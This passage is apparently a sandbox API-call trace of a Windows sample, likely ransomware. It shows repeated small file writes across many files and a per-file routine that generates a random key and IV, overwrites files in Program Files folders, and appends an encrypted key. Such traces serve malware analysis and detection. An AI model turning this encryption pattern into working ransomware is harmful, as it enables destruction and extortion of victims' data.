(hObject=0x1de4) returned 1 [0200.889] WriteFile (in: hFile=0x1de4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.889] CloseHandle (hObject=0x1de4) returned 1 [0200.890] WriteFile (in: hFile=0x1de8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.891] CloseHandle (hObject=0x1de8) returned 1 [0200.891] WriteFile (in: hFile=0x1de8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.892] CloseHandle (hObject=0x1de8) returned 1 [0200.892] WriteFile (in: hFile=0x1de8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.893] CloseHandle (hObject=0x1de8) returned 1 [0200.894] WriteFile (in: hFile=0x1dec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.894] CloseHandle (hObject=0x1dec) returned 1 [0200.896] WriteFile (in: hFile=0x1df0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.897] CloseHandle (hObject=0x1df0) returned 1 [0200.898] WriteFile (in: hFile=0x1df0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.899] CloseHandle (hObject=0x1df0) returned 1 [0200.899] WriteFile (in: hFile=0x1df0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.900] CloseHandle (hObject=0x1df0) returned 1 [0200.902] WriteFile (in: hFile=0x1df4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.902] CloseHandle (hObject=0x1df4) returned 1 [0200.907] WriteFile (in: hFile=0x1df8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.907] CloseHandle (hObject=0x1df8) returned 1 [0200.908] WriteFile (in: hFile=0x1df8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.909] CloseHandle (hObject=0x1df8) returned 1 [0200.910] WriteFile (in: hFile=0x1df8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.911] CloseHandle (hObject=0x1df8) returned 1 [0200.911] WriteFile (in: hFile=0x1df8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.912] CloseHandle (hObject=0x1df8) returned 1 [0200.913] WriteFile (in: hFile=0x1df8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.914] CloseHandle (hObject=0x1df8) returned 1 [0200.915] WriteFile (in: hFile=0x1df8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.916] CloseHandle (hObject=0x1df8) returned 1 [0200.916] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.916] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.916] SetFileAttributesW (lpFileName="\\Program Files\\Mozilla Firefox\\removed-files", dwFileAttributes=0x80) returned 1 [0200.917] ReadFile (in: hFile=0x1df8, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x286, lpOverlapped=0x0) returned 1 [0200.940] SetFilePointer (in: hFile=0x1df8, lDistanceToMove=-646, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.940] WriteFile (in: hFile=0x1df8, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x286, lpOverlapped=0x0) returned 1 [0200.959] SetFilePointer (in: hFile=0x1df8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x286 [0200.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.959] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.959] WriteFile (in: hFile=0x1df8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.959] WriteFile (in: hFile=0x1df8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.960] CloseHandle (hObject=0x1df8) returned 1 [0200.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.965] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.965] SetFileAttributesW (lpFileName="\\Program Files\\Mozilla Firefox\\precomplete", dwFileAttributes=0x80) returned 1 [0200.966] ReadFile (in: hFile=0x1df8, lpBuffer=0x30ca018, nNumberOfBytesToRead=0xfc7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesRead=0x2e1f9bc*=0xfc7, lpOverlapped=0x0) returned 1 [0200.967] SetFilePointer (in: hFile=0x1df8, lDistanceToMove=-4039, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.967] WriteFile (in: hFile=0x1df8, lpBuffer=0x30f4890*, nNumberOfBytesToWrite=0xfc7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4890*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfc7, lpOverlapped=0x0) returned 1 [0200.968] SetFilePointer (in: hFile=0x1df8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfc7 [0200.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.968] WriteFile (in: hFile=0x1df8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.968] WriteFile (in: hFile=0x1df8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.969] CloseHandle (hObject=0x1df8) returned 1 [0200.976] WriteFile (in: hFile=0x1e04, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.976] CloseHandle (hObject=0x1e04) returned 1 [0200.978] WriteFile (in: hFile=0x1e0c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.979] CloseHandle (hObject=0x1e0c) returned 1 [0200.980] WriteFile (in: hFile=0x1e0c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.981] CloseHandle (hObject=0x1e0c) returned 1 [0200.982] WriteFile (in: hFile=0x1e10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.983] CloseHandle (hObject=0x1e10) returned 1 [0200.983] WriteFile (in: hFile=0x1e10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.984] CloseHandle (hObject=0x1e10) returned 1 [0200.984] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.984] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0200.984] SetFileAttributesW (lpFileName="\\Program Files\\Windows Defender\\ThirdPartyNotices.txt", dwFileAttributes=0x80) returned 0 [0201.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0201.000] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0201.000] SetFileAttributesW (lpFileName="\\Program Files\\Windows Defender\\Defendericon.png", dwFileAttributes=0x80) returned 0 [0201.012] WriteFile (in: hFile=0x1e14, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.013] CloseHandle (hObject=0x1e14) returned 1 [0201.014] WriteFile (in: hFile=0x1e18, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.015] CloseHandle (hObject=0x1e18) returned 1 [0201.016] WriteFile (in: hFile=0x1e1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.018] CloseHandle (hObject=0x1e1c) returned 1 [0201.036] WriteFile (in: hFile=0x1e1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.037] CloseHandle (hObject=0x1e1c) returned 1 [0201.041] WriteFile (in: hFile=0x1e1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.042] CloseHandle (hObject=0x1e1c) returned 1 [0201.043] WriteFile (in: hFile=0x1e1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.044] CloseHandle (hObject=0x1e1c) returned 1 [0201.044] WriteFile (in: hFile=0x1e1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.045] CloseHandle (hObject=0x1e1c) returned 1 [0201.045] WriteFile (in: hFile=0x1e24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.046] CloseHandle (hObject=0x1e24) returned 1 [0201.057] WriteFile (in: hFile=0x1e24, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.061] CloseHandle (hObject=0x1e24) returned 1 [0201.062] WriteFile (in: hFile=0x1e28, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.063] CloseHandle (hObject=0x1e28) returned 1 [0201.064] WriteFile (in: hFile=0x1e30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.065] CloseHandle (hObject=0x1e30) returned 1 [0201.065] WriteFile (in: hFile=0x1e34, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.067] CloseHandle (hObject=0x1e34) returned 1 [0201.067] WriteFile (in: hFile=0x1e34, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0201.068] CloseHandle (hObject=0x1e34) returned 1 [0202.756] WriteFile (in: hFile=0x1e3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.757] CloseHandle (hObject=0x1e3c) returned 1 [0202.759] WriteFile (in: hFile=0x1e3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.760] CloseHandle (hObject=0x1e3c) returned 1 [0202.760] WriteFile (in: hFile=0x1e40, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.761] CloseHandle (hObject=0x1e40) returned 1 [0202.762] WriteFile (in: hFile=0x1e44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.762] CloseHandle (hObject=0x1e44) returned 1 [0202.763] WriteFile (in: hFile=0x1e44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.763] CloseHandle (hObject=0x1e44) returned 1 [0202.764] WriteFile (in: hFile=0x1e44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.764] CloseHandle (hObject=0x1e44) returned 1 [0202.765] WriteFile (in: hFile=0x1e44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.766] CloseHandle (hObject=0x1e44) returned 1 [0202.776] WriteFile (in: hFile=0x1e44, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.777] CloseHandle (hObject=0x1e44) returned 1 [0202.777] WriteFile (in: hFile=0x1e48, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.778] CloseHandle (hObject=0x1e48) returned 1 [0202.778] WriteFile (in: hFile=0x1e48, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.779] CloseHandle (hObject=0x1e48) returned 1 [0202.781] WriteFile (in: hFile=0x1e48, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.781] CloseHandle (hObject=0x1e48) returned 1 [0202.782] WriteFile (in: hFile=0x1e4c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.783] CloseHandle (hObject=0x1e4c) returned 1 [0202.783] WriteFile (in: hFile=0x1e4c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.784] CloseHandle (hObject=0x1e4c) returned 1 [0202.784] WriteFile (in: hFile=0x1e4c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.785] CloseHandle (hObject=0x1e4c) returned 1 [0202.815] WriteFile (in: hFile=0x1e54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.816] CloseHandle (hObject=0x1e54) returned 1 [0202.817] WriteFile (in: hFile=0x1e54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.818] CloseHandle (hObject=0x1e54) returned 1 [0202.819] WriteFile (in: hFile=0x1e58, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.820] CloseHandle (hObject=0x1e58) returned 1 [0202.821] WriteFile (in: hFile=0x1e64, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.822] CloseHandle (hObject=0x1e64) returned 1 [0202.822] WriteFile (in: hFile=0x1e64, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.823] CloseHandle (hObject=0x1e64) returned 1 [0202.824] WriteFile (in: hFile=0x1e68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.825] CloseHandle (hObject=0x1e68) returned 1 [0202.831] WriteFile (in: hFile=0x1e6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.832] CloseHandle (hObject=0x1e6c) returned 1 [0202.843] WriteFile (in: hFile=0x1e6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.844] CloseHandle (hObject=0x1e6c) returned 1 [0202.844] WriteFile (in: hFile=0x1e6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.845] CloseHandle (hObject=0x1e6c) returned 1 [0202.846] WriteFile (in: hFile=0x1e6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.847] CloseHandle (hObject=0x1e6c) returned 1 [0202.847] WriteFile (in: hFile=0x1e6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.848] CloseHandle (hObject=0x1e6c) returned 1 [0202.848] WriteFile (in: hFile=0x1e74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.849] CloseHandle (hObject=0x1e74) returned 1 [0202.851] WriteFile (in: hFile=0x1e74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.852] CloseHandle (hObject=0x1e74) returned 1 [0202.852] WriteFile (in: hFile=0x1e78, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.854] CloseHandle (hObject=0x1e78) returned 1 [0202.854] WriteFile (in: hFile=0x1e80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.855] CloseHandle (hObject=0x1e80) returned 1 [0202.856] WriteFile (in: hFile=0x1e80, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.856] CloseHandle (hObject=0x1e80) returned 1 [0202.857] WriteFile (in: hFile=0x1e84, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.858] CloseHandle (hObject=0x1e84) returned 1 [0202.870] WriteFile (in: hFile=0x1e84, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.871] CloseHandle (hObject=0x1e84) returned 1 [0202.872] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, 